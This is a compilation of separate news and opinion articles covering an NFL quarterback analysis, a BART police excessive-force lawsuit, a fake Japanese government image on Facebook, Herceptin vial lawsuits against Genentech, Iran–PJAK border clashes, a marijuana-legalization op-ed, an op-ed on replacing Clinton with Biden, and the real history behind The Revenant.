-Ronald Martinez/Getty Images  Like puzzles, football teams have many pieces that need to be assembled, and not each piece is created equal. Some are of smaller size, while others are medium sized. Then there's the large piece that is the keystone of a the puzzle, which in football terms is the quarterback.  The quarterback is a key piece to the puzzle in the NFL, giving the team a chance to win in every situation, but it also has to fit. Not every quarterback piece fits in every puzzle, because not all puzzles are the same—such as in the West Coast Offense, which requires less physical talent than the Air Coryell would.  Luckily for Washington Redskins fans, No. 2 pick to-be Robert Griffin III is a talent that fits in every system, especially in Mike Shanahan's West Coast Offense.  As NFL Network's Joe Theismann and many others, including myself, have explained, Shanahan's offense is based off of the zone running game. This is different than the original West Coast Offense, which was more balanced and didn't utilize such run concepts, but it's still effective. Washington's running game consists of base NFL runs such as draw and counter but also most notably inside and outside zone.  These two concepts are based off of synchronized zone blocking to the play-side (direction of the run), which feature the running back flowing and reading his given keys. In inside zone, the running back is to read the outside hip of the guard and make a cut to the backside alley that is created by undisciplined defenders, while on the outside zone concept, the runner often targets the outside hip of the offensive tackle and either continues to run on the front-side of the play or makes a cutback.  When these two run concepts are flowing and have success, it becomes a very dangerous part of the passing game because of play action, or as many call it, "boot action."  Shanahan's boot action has had a lot of success over the years, and what they have done is thrown deep passes out of them. The quarterback, which in Washington has-been Rex Grossman, rolls out to his assigned side and usually has three or four reads to go through in an effort to complete the pass to a likely crossing receiver.  It's not much different in Washington, as can be seen above, and although it's had success, it will have a new dynamic now with the presence of Robert Griffin III.  Griffin III, or "RG3" as he's called, is one of the best, if not the best, dual-threat quarterbacks coming out of college in this year's draft. He has the ability to pick up chunks of yardage on the ground while also delivering an eye-popping, backbone breaking deep pass for a touchdown. His running ability forces the defense to essentially cover an extra gap in run defense, forcing them to drop an extra defender in the box, consequently having less deep where Griffin throws very well.  While I believe he is more of a straight-line runner than others in years past, such as the Panthers Cam Newton, he is still a very effective runner and has the speed to do damage in the open field, as witnessed against the Washington Huskies in the Alamo Bowl this season.  Because of his mobility and ability to throw well on the run, the Bears coaching staff, led by head coach Art Briles, utilized play action passes that caused conflict for the defense. An example of this was against TCU early in the college football season, when Griffin put the ball in the belly of his teammate and plucked it back out.  Once he did this, he rolled to his right and found his target running a curl route. When moving and throwing, he does a good job of keeping his eyes up and going through his reads, opposed to immediately taking off and running with the ball.  Some have tried to state that Griffin is more of a runner than a passer, but this is not true. He has exceptional throwing ability and utilizes it. He is an ascending player whose week-to-week improvement is visible. He is a great fit for the Redskins and I expect them to fully utilize his athleticism and arm talent to cause problems for defenses both on the ground and through the air.
-The case management statement also describes what happened when Pianta and Sheehan arrived at the jail's booking desk:  Plaintiff was initially compliant during the booking process. However, her demeanor changed and she threw a hair tie at Officer Pianta which struck the officer. Inexplicably, plaintiff then began looking through her purse and refused the officer’s instructions to stop doing so. Plaintiff attempted to pull the purse away from him. Officer Pianta then placed plaintiff in an arm bar control hold to gain compliance. Plaintiff began resisting and attempted to punch the officer. Acting in self-defense, the officer used an arm bar takedown and guided plaintiff to the ground. Moments later the officer observed blood coming from plaintiff’s facial area and medical assistance was requested. ...  For what it's worth, that account seems to soften what Pianta wrote in his police report of the incident, which described the takedown of Sheehan as a response to her "violently punching with a closed fist at my face." He also describes using an "arm-bar" technique to "guide her to the ground." So, you get a couple of clear impressions: An officer was reacting to a persistent physical threat, and he exercised care in "guiding" the plaintiff to gain control of the subject.  As it happens, the scene was recorded from several angles and devices, including officers' body cameras and jail security video.  No two people will see these videos precisely the same way. But it's awfully hard to square Pianta's and BART's account with what the cameras captured. Yes, Sheehan was noncompliant. Did she pose a threat? That's not evident. The contention that Pianta "guided" Sheehan to the ground? Well, we can let the list of her injuries, inventoried at Eden Hospital and reported in the case management statement, speak to that claim:  Principal problem:  Active Problems:  Loss of consciousness  Fracture: Left maxillary depressed comminuted anterior wall, nondisplaced medial wall, displaced lateral wall  Left orbital wall lateral displaced comminuted fracture  Fracture: medial wall right maxillary antrum  Concussion with brief loss of consciousness  Eyelid laceration  Lip laceration  Less clinically, part of Sheehan's face was shattered.  The video of the incident is sickening -- an impression reinforced by the involuntary gasps of witnesses. Stated simply: Pianta slams Sheehan face first into the floor. You can hear a gruesome crack as she hits. There's no evidence he attempted to "guide" or control Sheehan as he propelled her downward.  How to explain such a use of force? Sheehan's attorney, John Houston Scott of San Francisco, told ABC7: "She was uncooperative. She was intoxicated. And I believe she had to be taught a lesson. In police jargon, she flunked the attitude test."  It appears that what happened to Sheehan caused barely a ripple inside BART itself. A spokesman for the agency says BART Police Chief Kenton Rainey reviewed and "signed off" on a report on the episode. Pianta was never placed on administrative leave, the agency says, and remains on the job. However, the lawsuit over the assault -- it's hard to call it anything else -- has apparently prompted some action: both BART police internal affairs investigators and the department's independent police auditor are conducting inquiries.  Sheehan has asked for a jury to hear the suit, which alleges Pianta used excessive force and violated her constitutional rights. It's hard to see that happening, given the video evidence. BART and other defendants will presumably settle rather than open the way to endless replays of Sheehan being brutalized.  But that won't end the matter. BART will still need to make a public accounting for how it's handling the case of an officer whose own account of his actions appears to differ so wildly from what the video shows.  Post updated to include details of BART's handling of Sheehan case to date.
-A thousand Japanese facebook users unknowingly endorsed and shared a fictitious image [ja] that seemed to be an official publication and highlighted the negative impact Japan's apologetic stance in history has on the country's children.  A citizen journalist traced the image, which even has the official government seal of Japan in its top-left corner, (although the government does not use this seal for its official publications) to a right-wing Facebook page.  Facebook user Tsubasa who liked the image wrote[ja] in support of a patriotic view:  自虐的な教科書には、もううんざり(´・ω・`)ちゃんとした教科書を、今の子供達に読んで欲しい!!戦争を美化するつもりは、ありませんがその当時の先人が、何を想い何のため戦い散ったのかを、教えて欲しいです。  I'm sick and tired of introspective history textbooks. I want the children today to learn from legit textbooks. I don't mean to glamorize the war, but people need to think what they fought and died for.  The fabricated image took a life of its own on Facebook when it was shared along with famous quotes, from Indian jurist Radha Binod Pal, Thailand politician Kukrit Pramoj, Indonesian scholar Arifin Bey and British historian Arnold J. Toynbee, that reinforced the idea that Japan's war posture was always for Asia's liberation.  Earlier this year, Japan's Prime Minister Shinzo Abe, almost offended China and Korea, when he signaled that he would “review” the country's apologies made in the past for its World War II aggression. Later, he backtracked and said would not review Japan’s wartime history and that he would abide by the official stances of his predecessors on the issue.  Facebook user Rie noticed it was fake:  この画像は偽造です。確認しましたが、このような政府広報はありません。誰かが何らかの意図を以て「政府広報」を偽造し、フェイスブックで拡散するのは異常な事態だと思います。一体何の目的で偽造するのでしょうか。分からない。  This image is fake. I've checked and I can tell you there's no such government publication. It's insane for somebody to intentionally create a fake government image and amplify it on facebook. I don't understand why they do this on purpose.  Citizen journalist Norifumi Ohtani at Miyazaki Citizen Media criticized [ja] social media users who shared this image without verifying its source and traced the image to right wing activists who apparently fabricated the image, and gave it an official government seal.  The image of the uniformed child originated from an online shopping site for children's school-bags. Ohtani wrote a series of analysis [ja] on how the image was edited and right-wing text and a government seal were added, before it was appropriated on a Facebook page and shared without context.  He adds:  It is okay to quote blogger's posts, but when you quote, make sure you name the source. I think people should refrain from abruptly sharing facebook images, [out of context] when they do not reflect the agenda of the author. Maybe it's nice to pause for a second and verify where the source comes from.  The alleged creator of the image was a Facebook fan page called “反日対策協議会” [eliminate anti-Japanese activity]. They have since admitted [ja] that it was fake, meant to be ‘parody.’ The Facebook page of Japanism also added a comment [ja], apologizing for sharing the image without checking where it came from.  Ohtani criticized [ja] the ‘parody’ which mislead citizens, saying that right-wing activists went too far in disguising themselves as a government publication.  The quoted blog post was written by Norifumi Ohtani in Japanese under Creative Commons License BY-NC-ND 2.1, by Nippon：Citizen's Media Miyazaki
-Yet another health care provider is accusing Genentech of fudging the amount of the Herceptin medicine that the company provides in each vial, causing the facility and many other hospitals to overpay for the pricey treatment.  In the latest instance, the Comanche County Memorial Hospital filed a lawsuit alleging that Genentech, which is a unit of Roche, shortchanges hospitals by placing less of the breast cancer medication in vials, or alternatively, misrepresenting the amount of the drug that must be mixed in a solution. Under either scenario, the lawsuit contends providers would unnecessarily be forced to purchase additional vials.  Given that the drug has a limited shelf life, this can have an even greater financial impact on smaller hospitals or clinics that do not treat a large number of cancer patients, according to the lawsuit, which the Oklahoma hospital filed last week in federal court in San Francisco. Herceptin costs about $70,000 for a full year of weekly infusions, the hospital noted.  advertisement  At least a dozen such lawsuits have been filed over the past year by hospitals and physician practices around the country. Each one noted that Genentech maintains that its medicine comes in vials as a freeze-dried powder, which must be mixed with a liquid. But the hospitals and health care providers contend that the resulting solution yields less than the amount claimed by the drug maker. An email filed as an exhibit in one of the lawsuits supports this contention, according to Robert Glass, who represents several of the health care providers.  We asked Genentech for comment and will update you accordingly. [UPDATE: The company sent us this a statement saying that “decisions on how we manufacture and package our medicines are taken very seriously and all of our medicines, including Herceptin, are packaged to meet FDA regulations and specifications.]  The lawsuits come amid furious national debate over the cost of medicines, an issue that is playing out in various ways. Some hospitals have been pushing back against drug makers. In one notable instance, several hospitals forwarded information to help the US Special Senate Committee on Aging with its investigation of outsized price hikes that Valeant Pharmaceuticals took on a pair of heart drugs.  Newsletters Sign up for our Pharmalot newsletter Please enter a valid email address. Privacy Policy Leave this field empty if you're human:  At the same time, the Obama administration has proposed overhauling Medicare Part B, which covers injected and infused medicines. The plan, which faces widespread opposition from physicians, is designed to emphasize greater use of lower-cost generics by lowering the amount of reimbursements that doctors would receive for more expensive, brand-name treatments.  The allegations against Genentech also arrive as attention is focused on the amount of expensive cancer medicines that are contained in vials. A recent analysis estimated that $2.8 billion is wasted each year by government and private insurers for these treatments that will ultimately be thrown away because the drugs are distributed only in vials that contain more than most patients need. Some argue, though, that the potential savings from increasing the number of available vial sizes is overstated.  To what extent the lawsuits will have an impact remains to be seen. But the growing number of claims suggest that a new front is opening up in the battle between health care providers and drug makers as pharmaceutical prices continue to rise.  Genentech, by the way, has also irritated many hospitals by shifting distribution for Herceptin and other medications to specialty wholesalers in late 2014. At the time, the drug maker claimed the move was designed to save money, but hospitals have complained bitterly that the distribution change deprived them of standard discounts, an issue that Comanche also raises in its lawsuit.
-TEHRAN: Iran’s elite Revolutionary Guards killed 12 Kurdish rebels near the Iraqi border in clashes in which three Guards were also killed, an Iranian news agency reported on Thursday.  Wednesday evening’s fighting took place in Oshnavieh in the northwest, the Tasnim news agency said, citing a statement from the Guards.  Two separate groups of rebels had slipped across the border to carry out acts of “sabotage” and “create insecurity among the population”, it added.  Oshnavieh lies around 20 kilometres from the border with the autonomous Kurdish region of northern Iraq.  Iran’s top police officer, General Hossein Ashtari, said the fighters killed were members of PJAK — the Party of Free Life of Kurdistan, an Iranian Kurdish group with close links to Turkey’s outlawed Kurdistan Workers’ Party (PKK).  “A large quantity of arms and ammunition was seized from this terrorist group,” Ashtari told Tasnim.  The incursion comes days after five Kurdish rebels and five militants were killed, along with a police officer, in separate clashes in the northwest and southeast of Iran.  “A team of five from the PJAK terrorist splinter group... has been identified and destroyed in the Sardasht region” on the Iraqi border, a Guards statement said on Monday.  Later that day, state television reported six more deaths in armed clashes in Sistan-Baluchistan province in the southeast.  One police officer and five militants were killed in the fighting, which pitted Iranian forces against Sunni militant group Jaish-ul Adl.  Published in Dawn, June 17th, 2016
-When talking about ending the prohibition on Marijuana, it is almost impossible to wrap your head around the totality of problems and issues it touches. The externalities, long reaching negative effects, and indirect consequences create an enormous web that touches countless aspects of our society.  The amount that Marijuana prohibition costs us as a society can’t just be calculated based on lost tax revenue and the amount spent trying to police, prosecute, and incarcerate marijuana users and producers. There is the issue of lost wages and payroll taxes. Individuals who have been arrested for marijuana-related offenses can have trouble finding employment as a result. This can lead to extended unemployment or underemployment. Over a lifetime, this delayed start can add up to hundreds of thousands in lost tax revenue.  There is the damage done to the social contract and the public’s relationship with law enforcement when an illicit trade becomes a significant source of jobs and income in a community. Many of our rights have slowly been eroded in the name of the “war on drugs.” There are the many problems produced for our society that result in giving criminal enterprises a great source of revenues–revenues that can be used to bribe officials promoting a culture of corruption or funding the purchase of firearms for nefarious purposes. There is the side-effects on immigration into our country resulting from the power of the Mexican drug cartels.  There is also the indirect effect of what money we haven’t spent because limited state and local government resources end up going to keep marijuana illegal. Those funds could have been used to lower taxes or provide better services. How many students could afford to attend college, and go on to get higher degrees if the billions that could have be raised by tax cannabis were used to keep down tuition at public universities or provide for scholarships?  Destruction and danger in our national parks  For example, one of numerous, indirect, negative consequences of having cannabis be illegal is the increased danger and destruction to the pristine nature of national and state parks. Armed cartels have taken to growing large marijuana farms in national parks. From New York Times:  Mr. Heil [spokesman for the United States Forest Service] said drug operators could be blamed for a handful of wildfires each year in California, which is already dealing with a prolonged drought and budget-stretched firefighting resources. Environmental damage of a different kind can also be severe, with pesticides seeping into soil and streams, and trash and human waste left behind.  These clandestine operations can endanger people using the parks, and cleaning up the environmental destruction afterward can be very expensive. From a National Park Service new release:  They terrace hillsides, impound streams, introduce chemicals to pristine mountain water. “They don’t carry out their human waste or garbage,” [National Park Service Director Mary A.] Bomar said. “And they build and camouflage living quarters.” Bomar said park lands require millions of dollars of rehabilitation work – up to $15,000 per acre – and years to heal from damages growers can inflict in a single day.  This simply does not happen when things are legal  I don’t recall reading any stories about Jack Daniels running massive secret corn farms in the Great Smoky Mountains to make their mash. Charles Shaw is not destroying endangered plant species by using large amount of pesticides on illegal vineyard hidden in state forests. Samuel Adam’s Boston Beer Company is not sending armed gangs to ruin acres of Yellowstone by planting clandestine hops or getting into gun battles with Coors Brewery over the product. This does not happen in a legal and regulated market.  There is noticeable environmental, financial, and public safety damage done to our national and state parks directly as a result of cannabis being illegal. While it is unlikely to be an issue most people think about when debating possible legalization, it is a good example of a far reaching, interconnected web of negative consequences created by our current Marijuana policies. Allowing people to see the extent and nature of this web is critical to an informed debate about this issue.
-With voter distrust at an all-time time, Clinton's odds of winning in November are fading fast.  Hillary Clinton plans to continue her campaign for the presidency either this week or next. As the party’s confirmed nominee, that’s her right.  But her recent health scare, in which she deceived virtually everyone about the real severity of her illness and showed extraordinarily bad judgment in continuing her public appearances, can only feed the deep distrust that so many voters, including many Democrats, now feel toward the former First Lady.  Even worse, there is genuine concern about Clinton’s ability to withstand the rigors of the last two months of the campaign, to say nothing of the much greater pressure she would face as president if she manages to prevail. With Trump’s continuing rise in the polls and with the threat of more medical episodes looming, wiser heads among the Democrats should ignore the self-serving excuses emanating from Clinton’s inner circle and take whatever steps might be necessary to replace her as the nominee.  Technically, the person most entitled to replace Clinton would be second-place finisher Bernie Sanders. But there is no actual requirement that he do so and many Clinton supporters would be aghast at the idea. In fact, it could well split the party. A more natural “compromise” choice would be Vice-president Joe Biden, who very nearly threw his hat into the ring late last year, only to pull back at the last moment, a decision he says he now regrets.  Biden has three impressive virtues that could make him an attractive last-minute substitute. One is his reputation for strong values and good character. Many observers believe that were it not for Clinton’s email server and fundraising controversies, and her deceptive handling of them, she may well have put Trump away months ago. Instead, the constant and powerful stench of scandal has allowed the billionaire real estate mogul to position himself as the more honest and trustworthy candidate, largely offsetting his own high “negatives”.  Second, Biden, like Sanders, has authentic working class roots and appeal in states that Trump is seeking to “flip” to the GOP, including Pennsylvania and Wisconsin. His plain speaking manner and common touch could help stem Trump’s impressive inroads with low-income white voters throughout the Rust Belt, including battleground Ohio. Unless a higher percentage of this demographic, which includes disaffected Democrats, stays loyal, Trump and the GOP will continue to have a real path to victory in November.  Finally, Biden’s passionate public belief in the virtues of bipartisanship could prove attractive to independents and undecided voters. When Biden announced his decision not to run in the Rose Garden last year, he made a pointed reference to Clinton’s earlier remarks that she considered the Republicans her “enemy.” “The Republicans are not the enemy, they are the opposition,” Biden insisted, in a remark that was widely viewed as a public rebuke of Clinton.  In fact, many Republican in Congress seem to openly admire Biden despite disagreeing with his politics. That could prove bedeviling to the Trump campaign, which has already bought millions of dollars in advertising that focuses on Clinton. With just two months left in the race, it won’t be easy to reboot this effort let alone develop and target opposition research against a man that more than a few Republicans in Congress consider a “friend.”  Biden, in fact, stacks up incredibly well against Trump, according to polls. In late 2015, surveys showed that Biden performed better than Clinton – and even Sanders – in head-to-head competition with the entire GOP field. Against Trump, Biden had an 18-point lead. Clinton trailed all GOP candidates except Trump and her lead was relatively small – just as it is currently.  Make no mistake: Replacing Clinton this late in the game would be a huge gamble. It would demoralize some Democrats, especially Clinton’s female support base. The fact that Biden is so strong on women’s issues, including abortion, and has pushed the envelope on gay marriage and other elements of the liberal agenda might be small consolation for having to give up on the dream of the first female president.  There’s also the fact that Clinton’s already on the ballot in most states and early voting is about to begin. Is that a definitive roadblock? Not really. Both parties have periodically replaced their Senate candidates well into October. And though there’s no precedent for doing the same with a presidential candidate, an extraordinary push by the Democrats to replace Clinton would likely overcome any perceived obstacle.  It might seem premature, even reckless, to want to replace Clinton as the party nominee. But Clinton’s health status, on top of the continuing drip-drip of scandal, will cast an even larger – and darker — shadow over the race moving forward. Acting now could be just the catharsis Democrats need to rejuvenate themselves to win.
-Hugh Glass, the protagonist of the story, never was chased off a cliff, cut a dead horse open for warmth or had a half-Pawnee son. But the frontiersman played by DiCaprio lived a life even more fantastical than any film.  This story first appeared in the March 4 issue of The Hollywood Reporter magazine. To receive the magazine, click here to subscribe.  Before a grizzly tore a hunk of meat from his rump and lobbed it to her squalling cubs, Hugh Glass was just a middle-aged pirate who had abandoned ship, then dodged two tribes of cannibals only to witness his friend being roasted alive. And then things turned really nasty.  That's the story, anyway. But it's not the one told in The Revenant, the Alejandro G. Inarritu-directed Oscar favorite, in which Leonardo DiCaprio's Glass is chased off a cliff, recalls his Pawnee wife, eats raw buffalo liver — and mainly, drags his grizzly-ravaged body hundreds of miles through a wintry frontier, driven by bloodlust for the men who had left him to die.  The real Glass, however, made much of his journey in late summer. And he had no Pawnee wife. Even the liver is not a sure thing.  To separate mythology from biography, it helps to remember that the film is based in part on a 2002 work of fiction, which itself is based in part on the three earliest written and largely forgotten accounts of Glass' adventures. None of those authors knew Glass, and one of them, a novelist, wrote the forgettable sequel Monte Cristo's Daughter. Thucydides, these guys were not. But their accounts, as well as letters, testimony, trapper memoirs and a rich oral history, are what is left regarding Glass' life.  Based on those sources, this much is certain: Glass was alive, he survived a grizzly attack and he died. There is no evidence he had a Native American wife or girlfriend, or that he had a son by a Native American woman, or that he plunged off a cliff on a horse, or that he gutted and climbed into a dead horse to stay warm or for any other reason.  Glass lived in Pennsylvania, where he might have had a wife and two sons whom he abandoned. He was a sea captain already in his 30s when pirates attacked his ship off the coast of what is now Texas in 1819. The pirate captain offered Glass a choice: Join their crew, or join the scores of bleeding, gutted, naked, screaming and drowning men, women and children bobbing in the choppy waters below. Glass joined.  After a year of pillaging, kidnapping, killing and the like, Glass and another pirate jumped overboard and swam toward Campeche (now Galveston), the primitive headquarters of Jean Lafitte, who, it turned out, was Glass' pirate boss' boss. The two deserters slunk north toward St. Louis, the westernmost locus of American civilization. They took special care to avoid, to the east, the Karankawa, notorious for eating settlers (tribesmen called the dish "long pig"). The duo couldn't stray too far west, though, because there dwelled the slightly pickier Tonkawas, who included only severed human hands and feet in their diet (to ingest extra strength and speed).  On they pressed, away from these man-eating tribes and Lafitte's band of murderers and toward Comanche, Kiowa and Osage, the former two scary, the latter really scary (the Osage eschewed scalping in favor of decapitation). When Glass and his pal ultimately were captured, 1,000 miles after emerging from the water, it was by Pawnee, which should have provided a measure of relief. Alas, the Loup branch of the Pawnee regularly offered human sacrifices to the god of the morning star — usually young girls from the village. But an exception was made for a couple guys who represented the vanguard of an invading, land-grabbing, genocidal force.  A gang of Pawnee stripped and tied Glass' friend to a stake. As Glass watched, they stuck slivers of resinous pine into his friend's flesh, then lit them. When it was Glass' turn, he bowed before the chief, then reached into his pocket and produced a vial of cinnabar, the flaky red mineral then found in Texas and used around the world for makeup and pottery. War paint, too. The chief was impressed by the gift, as well as the sangfroid with which the white man presented it. Somehow, the pirate turned mutineer turned fugitive escaped the flaming porcupine treatment and became an honorary Pawnee.  Other than omitting a futile attempt by Glass to climb a tree and an early on-target gunshot, the grizzly attack depicted in 'The Revenant' largely is accurate.  He learned lance throwing, tomahawk chopping, and how to break and suck the marrow from buffalo bones. He ate his share of dog (don't judge). It was during this period that he likely procured his legendary and beloved rifle, the mighty and thunderous .54 caliber Hawken to which Glass grew profoundly attached and that later would cause him so much trouble.  After two years, in January 1823, Glass headed east with the chief to meet with the U.S. Superintendent of Indian Affairs in St. Louis. Afterward, the chief returned to lead his tribe while Glass stayed in town. He answered an ad placed in the Missouri Republican by the Rocky Mountain Fur Company, which was seeking 100 men to pack up and leave fancy duds, womenfolk and saloons behind to head into the Rocky Mountains. There, for $200 annually, they would trap beaver.  Men who didn't respond to the ad were enlisted from "grog shops and other sinks of degradation," according to a recruiter. Many would go on to form the sweaty, calloused core of the country's mid-19th century trapping force. It was risky, hard labor that favored the ornery. So maybe it's unsurprising that the trappers tended to be some of the more profane, violent, nature-despoiling, aboriginal land-trespassing, wildlife-poaching, gun-toting cusses ever to range the Rockies.  The party, led by Gen. William Ashley, set out on the Missouri River in early March, and except for one man falling overboard and drowning the first day, and three others being blown to bits when someone lit a pipe too close to a pile of explosives, the trip began smoothly. At least until Ashley went ashore to talk business with the Arikara (aka the Rees). Could Chief Grey Eyes and his warriors, by reputation suspicious and at times murderous regarding trespassers, spare 50 horses? Why yes, Chief Grey Eyes replied, as long as Ashley could spare a few kegs of gunpowder. A deal was struck, goods exchanged and most of the crew set up camp on a sandbar near the Arikara village. They would continue downriver in the morning.  All went without incident that evening, notwithstanding the throat-slitting of young Aaron Stephens, one of the many trappers who had visited the Ree village to celebrate the procurement of horses by fornicating with a village maiden.  The Rees attacked in the morning, wounding Glass and killing 15 of his companions. Which brings us to the film's first scene, with Leo dodging arrows and barely making it to the boat that took the trappers downriver to safety.  The film skips over the counterattack and subsequent siege of a Ree village that involved Ashley's men, another trapping party led by a Lt. Andrew Henry, 250 U.S. soldiers and hundreds of Sioux, who harbored a deep and abiding antipathy for the Ree. It was the first military encounter between the U.S. and Native Americans in the West, and relations pretty much went downhill from there.  John Fitzgerald and the teenager named Bridger did volunteer to stay with Glass until he died, and they did betray him, but the famed trapper’s quest ended without bloody vengeance in the mountains. In real life, Glass mostly just wanted his rifle back.  But back to the film — namely, that grizzly attack: Glass left Ashley's group to join Henry's (don't ask), and early in the journey, Henry sent two of his now roughly 30-strong group to hunt some meat, telling the rest, including Glass, to stay put. But our protagonist had never liked orders. Also, he hankered for some berries.  He was standing in a berry patch when Ol' Ephraim — that's what mountain men back then called grizzlies, even females — charged. Glass shot her with his rifle. It was a good shot, but Ol' Ephraim kept charging. Glass ran to a tree, but as he began to climb, O.E. grabbed him, threw him to the ground and tore some meat out of his rear. She tossed the meal to her cubs, who probably had never tasted man before (odds are they liked it). Then Ol' Ephraim returned her attention to Glass. She raked her claws across his back, bit him about the head and shook him like a rag doll. Glass moved in close and slashed the bear repeatedly with his knife. He tried to yell, but what came out was a kind of high-pitched gargling, as his throat had been torn open and was gushing blood.  The grizzly fell, dead either by Glass' shot or by those fired by two hunters who had heard the commotion. Fellow trappers bound Glass' wounds as best they could, using sweaty, soiled pieces of fabric ripped from their shirts. The next morning, having abandoned their boat, the group marched on, carrying Glass on a litter made from branches.  It slowed them down. They knew hostiles were nearby. On the fifth day or so, Henry offered cash (accounts vary between $80 and $400) to any two men who would stay with Glass until he died, then meet the others at his namesake Fort Henry.  One volunteer, an otherwise forgettable figure, was named John Fitzgerald. The other was a teenager named Bridger. They kept Glass comfortable and waited for him to die.  After five days, though, the men had a talk (which Glass reportedly later told another trapper he'd overheard). No one had expected Glass to live this long, and no one would want the pair to stay. Glass was going to die anyway, Fitzgerald told the kid. It was only a matter of time before Ree or Cheyenne found them. And besides, they had already earned their money. The two men left Glass next to a nearby stream, underneath a berry bush. Just in case.  Fitzgerald and Bridger took Glass' rifle, knife, tomahawk and flint; if they showed up empty-handed, Henry would have asked where the weapons were, and they wouldn't get paid.  In the film, Glass has a half-Pawnee son whose murder fuels his fierce pursuit of justice. There’s only one minor problem: Glass never had a half-Pawnee son.  But Fitzgerald never tried to suffocate Glass, as he does in the film, nor did he murder Glass' beloved half-Pawnee son — mostly because Glass didn't have a beloved half-Pawnee son. But seeking vengeance against a child killer is box-office gold.  The two minders set out for Fort Henry, and while the film depicts their journey as perilous and semi-epic, it was neither. They arrived two days after the others, displayed Glass' armaments and collected their reward. While the duo's conduct was dastardly by modern sensibilities, leaving their sure-to-die comrade wasn't what got mountain men talking. They were a hard lot with an affinity for risk management. Heinous and unforgiveable to mountain men, however, was taking a man's only means of survival — his tools.  As for what happens next — Glass' solitary crawl to Fort Kiowa, which comprises the bulk of The Revenant — all we have to go on is the savaged trapper's testimony, as passed on to a bunch of lying, hard-drinking louts with nicknames like Pegleg and Liver-Eating, who, in turn, relayed the account to reporters and writers of not much greater repute.  Still, one can ascertain with high probability a few things: One of Glass' legs was broken, and his throat had been mangled so terribly that he'd never speak in the same voice again. He would lie next to the stream for five days, subsisting on a large rattlesnake he killed with a sharp stone. (Filmgoers might have gone for the rattlesnake eating. Go figure.)  He did crawl, and then crawled some more, and after that, he limped. The film got that right.  He did not get chased off a cliff, nor did he crawl inside a horse carcass for warmth. He did not meet a Native American with a sly sense of humor who tossed him a buffalo liver. Perhaps he ate some liver on his sojourn, but the truth is, he ate far more dog. Dog eating was not such a big deal back then. The Comanche thought it was disgusting, true, but it was a staple of the Sioux diet. The Kickapoo revered dogs, believing they had spirits like humans and lived in heaven after death. The Kickapoo bottle-fed their dogs, kept their paws from the dusty ground, washed and swaddled and sang to them. They also ate puppy stew.  But enough with the dog-eating. What about the buffalo? Glass did, in fact, eat a calf that was being worked over by wolves. And yes, if the wolves hadn't gotten to it first, he probably ate the liver. And he did shoo the wolves away, but he waited till he saw they had eaten their fill.  Did he burn with rage and seethe with the compulsion to seek justice, to kill the men who had betrayed him, as the film depicts? You bet he did.  Three books on the life of Hugh Glass were written long before Michael Punke's 2002 novel, The Revenant, including the closest thing to a historical account, 'The Saga of Hugh Glass,' which was published in 1976.  But not for child murder — he just wanted his gun back. His beloved and trustworthy Hawken. And if he had to crawl and limp 350 miles to kill the bastard who stole it, so be it. The film doesn't get into the whole man-rifle bond too much. It also doesn't mention the few days Glass spent with some friendly Sioux, who welcomed him to their village, where they cleaned the maggots from his back wound and poured vegetable juice on it.  Glass kept walking. After many weeks, he joined six French traders at Fort Kiowa, who he thought might drop him off near Fort Tilton, where he suspected the rifle thieves would be. After six weeks he parted ways with the Frenchmen. Just a mile later, they were butchered by Ree. Some Ree spotted Glass and gave chase, but a Mandan on horseback swept in, pulled him aboard and took him to his village. Mandans generally didn't like Ree. The Mandan villagers made a big deal over him. For supper? Man's best friend.  Glass then decided to go to Fort Henry, about 400 miles back in the direction from which he'd come. He never floated downstream in frigid water (it would have killed him), but he did stop at a fort to ask after his two sworn enemies and to catch up on mountain man gossip. There was another Ree attack that he managed to survive. There was a stretch where he subsisted on more bison calf, but now, stronger, he simply walked into a vast herd, ran down a calf, killed it, cooked it and ate it.  Can you blame Inarritu for leaving out so much? Who wants to see a dog-and-calf buffet? Who would believe a guy went through all that trouble for a rifle? Too many miles, too many Ree attacks, too many arrows. The film already runs two hours and 36 minutes.  Glass eventually found Bridger at Fort Henry, and Bridger thought he was a ghost. Instead of killing him, Glass lectured the kid and told him he knew Fitzgerald had persuaded him to leave. Then Glass invoked God and told Bridger to behave better in the future.  Revenant's Glass finally tracks down Fitzgerald, wounds him, then floats him downstream to a gang of Ree, who finish the job. But that's not what really happened. When Glass arrived at Fort Atkinson in 1824, after another long trek, he learned that while Fitzgerald was indeed present, he had enlisted in the Army. A captain named Bennet Riley informed Glass that he could not kill a soldier — if he did, he'd be tried for murder. When Riley heard Glass' story, he offered to fetch Glass' beloved rifle back. What a reunion it must have been.  The film's final shot is of a terribly wronged but righteous man, peering with grit and hard-won wisdom into a forbidding but conquerable wilderness. Not even a Texas state school board would quibble with that vision of how the West was won. If you like Manifest Destiny, this ending is for you.  Another popular version of the Glass legend has him suf­fering and crawling, but instead of dispatching his arch-enemy, he finds himself swollen with empathy and love, and turns his chiseled, manly cheek and forgives Fitzgerald, as he did Bridger. This too syncs with our notions of how the West was won, or conquered, or not exactly stolen. Forgiveness works about as well as vengeance, as long as you get other stuff right.  What actually happened was more complex. Glass tried his hand at trading in New Mexico, didn't like it and went back to trapping. Then Europeans developed a taste for cloth hats, and the trapping business dried up. Wagon trains started coming, too, and along with them women, children, dogs whose owners objected to them becoming a source of protein. Civilization.  Fitzgerald was never heard from again. Bridger went on to establish, in 1842 in southwestern Wyoming, the first resupply post for settlers on the Oregon, California and Mormon trails, opening up the path west and effectively ending the era of the mountain man. And the ne plus ultra of those unruly, undisciplined, comfort-spurning creatures?  Glass endured, as the world he knew best faded away. He took a job with a new fur company. He trapped some himself. He told stories about the old days, including some juicy ones about grizzlies and rattlesnakes. Some say his greatest talent was in creating and polishing the Legend of Hugh Glass.  In the winter of 1832-33, Glass was living at Fort Cass, a new garrison built near the junction of the Yellowstone and Bighorn rivers. He worked as a hunter, procuring meat for the trappers of the American Fur Company, owned by John Jacob Astor. One cold morning in the spring of 1833, he and two other hunters left the fort looking to kill a bear or two. They hadn't walked far, and it was considered safe territory. As they made their way across the frozen Yellowstone River, 30 Ree on horseback surrounded them.  They took Glass' clothes, his gear. Then they scalped him.  Nothing heroic about his death. Nothing tied to the American dream or the nobility of pioneers. Glass had grown overconfident. He had grown careless. He had grown old.
